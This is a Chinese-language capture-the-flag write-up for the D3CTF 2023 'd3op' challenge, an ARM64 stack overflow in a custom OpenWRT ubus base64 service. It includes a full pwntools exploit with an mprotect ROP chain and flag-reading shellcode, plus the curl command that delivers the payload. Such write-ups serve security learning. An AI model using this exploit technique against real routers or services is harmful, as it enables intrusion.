【pwn】d3ctf2023-d3op
字数 1268 2025-08-06 12:20:57
D3CTF 2023 d3op PWN题分析与利用
题目概述
这是一个名为d3op的ARM64架构PWN题目,来自D3CTF 2023比赛。题目提供了一个修改过的OpenWRT镜像,其中包含一个自定义的base64服务,漏洞存在于该服务中。
环境分析
文件系统差异
- 题目提供了OpenWRT的img文件
- 与官方版本(22.03.3)对比发现多了一个base64的ELF文件
- 文件位置:
/usr/libexec/rpcd/base64
交互方式
base64服务不是直接调用,而是通过ubus RPC机制调用:
本地调试命令:
curl -S ubus call base64 encode '{"input":"payload"}'
远程攻击命令:
curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"payload"}]}' http://localhost:9999/ubus
逆向分析
二进制信息
- 架构:aarch64
- 保护:仅开启NX(不可执行栈)
- 编译方式:静态编译
主要函数
main_fun:通过搜索字符串定位到的主函数sub_40655c:判断操作类型(encode/decode)decode函数:存在漏洞的关键函数
漏洞分析
漏洞位置
在decode函数中存在数组越界漏洞:
- 通过两个if判断来检查size是否可继续解码
- 存在v16数组越界,可以覆盖下方变量导致栈溢出
溢出利用点
函数返回时的汇编代码:
LDR x29, [sp]
LDR x30, [sp+8]
RET
- aarch64架构下,函数返回地址存放在x30寄存器
- 通过栈溢出可以控制x29和x30寄存器,从而劫持执行流
利用思路
执行流劫持
- 寻找合适的gadget控制寄存器
- 需要能控制x0寄存器(用于mprotect调用)
- 需要能再次跳转执行流
关键gadget
找到以下gadget链:
0x4494b8:控制x0-x30寄存器0x4579a4:mprotect调用点(参数x2已设为7)
mprotect调用
- 目标:将内存区域设置为可执行(RWX)
- 调用位置:
0x4579a0 - 关键参数:
- x0: 内存地址(需要0x1000对齐)
- x1: 大小
- x2: 7(PROT_READ|PROT_WRITE|PROT_EXEC)
Shellcode构造
功能需求
- 打开并读取flag文件
- 伪造ubus输出格式
- 正常退出进程
关键点
- 由于通过ubus调用,直接输出不会被返回
- 需要伪造符合ubus JSON格式的输出:
{"output":"FLAG_CONTENT"}
shellcode结构
shellcode = shellcraft.open("/flag", 0)
shellcode += shellcraft.read(3, 0x4a22bc, 0x100) # 读取flag到内存
shellcode += shellcraft.write(1, 0x4a22b0, 0x100) # 输出伪造的JSON
shellcode += shellcraft.exit(1) # 正常退出
完整利用流程
- 构造包含shellcode的payload
- 利用栈溢出覆盖返回地址
- 跳转到gadget链设置寄存器
- 调用mprotect使内存区域可执行
- 执行shellcode
- 伪造ubus输出格式并退出
EXP详解
from pwn import *
import base64
context.arch = "aarch64"
# 关键地址
mprotect = 0x4579a0
x0_x29_x30 = 0x4494b8
# shellcode构造
shellcode = shellcraft.open("/flag",0)
shellcode += shellcraft.read(3,0x4a22bc,0x100)
shellcode += shellcraft.write(1,0x00000000004A22B0,0x100)
shellcode += shellcraft.exit(1)
# payload构造
payload = asm(shellcode)
payload = payload.ljust(0x200,b"\x00")
payload += p64(0)+p64(0x4a3000)+p64(0x4a2000) # 填充
payload += b"{\"output\": \"" # 伪造JSON开头
payload += b'A'*0x50 # 占位符
payload += b"\"}" # JSON结尾
payload = payload.ljust(0x418, b"\x00")
# 覆盖关键变量
payload += b"\x30\x06\x00\x00" + b"\x1d\x04\x00\x00" + b"\x84\x05\x00\x00" + b"\x90\x04\x00\x00"
# 栈布局
payload += p64(0x4a2098) # x29
payload += p64(x0_x29_x30) # x30 (返回地址)
payload += p64(0)*4 + p64(0x4A2098) + p64(mprotect) # gadget链
payload += p64(0x4A2298 - 0x490) # x0 (mprotect参数)
payload += p64(0x4a2098)*3 # 填充
# base64编码
payload = base64.b64encode(payload)
print(payload)
远程攻击Payload
curl -v -d '{"jsonrpc":"2.0", "method":"call", "id":1, "params":["00000000000000000000000000000000","base64","decode",{"input":"BASE64_ENCODED_PAYLOAD"}]}' http://localhost:9999/ubus
总结
- 通过逆向分析发现base64服务的decode函数存在栈溢出
- 利用aarch64架构特性劫持x30寄存器控制执行流
- 精心构造gadget链调用mprotect使内存可执行
- 编写shellcode实现flag读取并伪造ubus输出格式
- 通过正常退出确保输出能被ubus正确解析返回
关键点在于理解ubus调用机制和aarch64架构下的ROP构造方法,以及如何正确处理无回显情况下的输出问题。